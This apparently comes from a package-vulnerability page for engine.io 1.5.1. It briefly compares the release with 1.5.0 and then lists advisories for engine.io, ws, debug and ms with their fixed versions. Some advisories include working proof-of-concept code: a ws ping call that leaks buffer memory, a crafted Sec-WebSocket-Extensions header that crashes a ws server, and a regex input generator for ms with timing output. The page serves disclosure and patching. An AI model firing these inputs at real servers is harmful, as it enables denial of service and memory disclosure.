Engine.io is a foundational library for building real-time, bidirectional communication between clients and servers, notably serving as the core engine behind Socket.IO. Version 1.5.1 builds upon the solid base of version 1.5.0 with subtle but important refinements.
A key difference lies in the engine.io-client dependency within the devDependencies. While both versions share identical core dependencies like ws, debug, base64id, and engine.io-parser, version 1.5.1 includes engine.io-client version 1.5.1 itself, whereas 1.5.0 carries engine.io-client version 1.5.0. This suggests that version 1.5.1 likely contains bug fixes, performance improvements, or new features in the client-side component of Engine.IO, prompting an update to maintain synchronization between server and client libraries.
Both versions lean on the same testing frameworks and utilities, implying a unified approach to quality assurance, making upgrades smooth. Developers should note the slight difference. It is most likely a bug fix that doesn't break any code, but if you want to be on the safe side, you should update your client and server packages to the same version.
The library offers a robust foundation for applications needing low-latency, two-way communication, abstracting away complexities related to transport mechanisms. Its minimalist design is ideal for developers who wish to have fine-grained control over their real-time communication layer. Released within a day of each other, the versions reflect active maintenance.
All the vulnerabilities related to the version 1.5.1 of the package
Resource exhaustion in engine.io
Engine.IO before 4.0.0 and 3.6.0 allows attackers to cause a denial of service (resource consumption) via a POST request to the long polling transport.
Uncaught exception in engine.io
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
events.js:292
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (internal/streams/destroy.js:106:8)
at emitErrorCloseNT (internal/streams/destroy.js:74:3)
at processTicksAndRejections (internal/process/task_queues.js:80:21) {
errno: -104,
code: 'ECONNRESET',
syscall: 'read'
}
This impacts all the users of the engine.io package, including those who uses depending packages like socket.io.
A fix has been released today (2022/11/20):
| Version range | Fixed version |
|-------------------|---------------|
| engine.io@3.x.y | 3.6.1 |
| engine.io@6.x.y | 6.2.1 |
For socket.io users:
| Version range | engine.io version | Needs minor update? |
|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|
| socket.io@4.5.x | ~6.2.0 | npm audit fix should be sufficient |
| socket.io@4.4.x | ~6.1.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.3.x | ~6.0.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.2.x | ~5.2.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.1.x | ~5.1.1 | Please upgrade to socket.io@4.5.x |
| socket.io@4.0.x | ~5.0.0 | Please upgrade to socket.io@4.5.x |
| socket.io@3.1.x | ~4.1.0 | Please upgrade to socket.io@4.5.x (see here) |
| socket.io@3.0.x | ~4.0.0 | Please upgrade to socket.io@4.5.x (see here) |
| socket.io@2.5.0 | ~3.6.0 | npm audit fix should be sufficient |
| socket.io@2.4.x and below | ~3.5.0 | Please upgrade to socket.io@2.5.0 |
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
engine.ioThanks to Jonathan Neve for the responsible disclosure.
Remote Memory Disclosure in ws
Versions of ws prior to 1.0.1 are affected by a remote memory disclosure vulnerability.
In certain rare circumstances, applications which allow users to control the arguments of a client.ping() call will cause ws to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.
var ws = require('ws')
var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')
client.on('open', function () {
console.log('open')
client.ping(50) // this sends a non-zeroed buffer of 50 bytes
client.on('pong', function (data) {
console.log('got pong')
console.log(data) // Data from the client.
})
})
Update to version 1.0.1 or greater.
DoS due to excessively large websocket message in ws
Affected versions of ws do not appropriately limit the size of incoming websocket payloads, which may result in a denial of service condition when the node process crashes after receiving a large payload.
Update to version 1.1.1 or later.
Alternatively, set the maxpayload option for the ws server to a value smaller than 256MB.
Denial of Service in ws
Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Update to version 3.3.1 or later.
debug Inefficient Regular Expression Complexity vulnerability
A vulnerability classified as problematic has been found in debug-js debug up to 3.0.x. This affects the function useColors of the file src/node.js. The manipulation of the argument str leads to inefficient regular expression complexity. Upgrading to version 3.1.0 is able to address this issue. The name of the patch is c38a0166c266a679c8de012d4eaccec3f944e685. It is recommended to upgrade the affected component. The identifier VDB-217665 was assigned to this vulnerability. The patch has been backported to the 2.6.x branch in version 2.6.9.
Regular Expression Denial of Service in debug
Affected versions of debug are vulnerable to regular expression denial of service when untrusted user input is passed into the o formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.
Version 2.x.x: Update to version 2.6.9 or later. Version 3.1.x: Update to version 3.1.0 or later. Version 3.2.x: Update to version 3.2.7 or later. Version 4.x.x: Update to version 4.3.1 or later.
Regular Expression Denial of Service in ms
Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Showing increase in execution time based on the input string.
$ time node ms.js 10000
real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.